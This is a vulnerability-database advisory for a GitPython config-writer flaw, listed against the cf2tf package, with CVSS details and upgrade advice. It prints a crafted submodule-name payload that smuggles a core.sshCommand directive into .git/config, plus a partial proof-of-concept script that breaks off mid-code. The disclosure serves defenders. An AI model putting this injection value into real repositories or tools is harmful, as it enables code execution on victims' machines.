VulnerabilityPublished 13 Aug 2026Updated 26 Oct 2026

CVE-2026-69097: GitPython · git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)

Affects cf2tfSource GCVE Database

Authoritative record:CVE-2026-69097· High 7.3

Not known to be exploited · CVSS 7.3 High : upgrade to 0.9.2_5 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 4.0 base score

7.3High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.2% chance of exploitation in 30 days – higher than 18% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 0.9.2_5

CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Attack Vector: Local
Attack Complexity: High
Attack Requirements: Present
Privileges Required: None
User Interaction: Passive
Vulnerable system confidentiality: High
Vulnerable system integrity: High
Vulnerable system availability: High
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Local: The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity: High: The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques, for example, circumvention of address space randomization (ASLR) or data execution prevention (DEP) must be performed for the attack to be successful; Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Attack Requirements: Present: The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: a race condition must be won to successfully exploit the vulnerability (the successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker, or the attack may need to be launched multiple times against a single target before being successful); the attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: Passive: Successful exploitation of this vulnerability requires limited interaction by the targeted user with the vulnerable system and the attacker’s payload. These interactions would be considered involuntary and do not require that the user actively subvert protections built into the vulnerable system.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the vulnerable system. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the vulnerable system.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 3 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade cf2tf to 0.9.2_5.

Affected software

Product	Affected	Fixed in
Homebrewcf2tf`pkg:brew/cf2tf`Other threats	Affected >=0.6.1 <0.9.2_5	Fixed in 0.9.2_5

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_co

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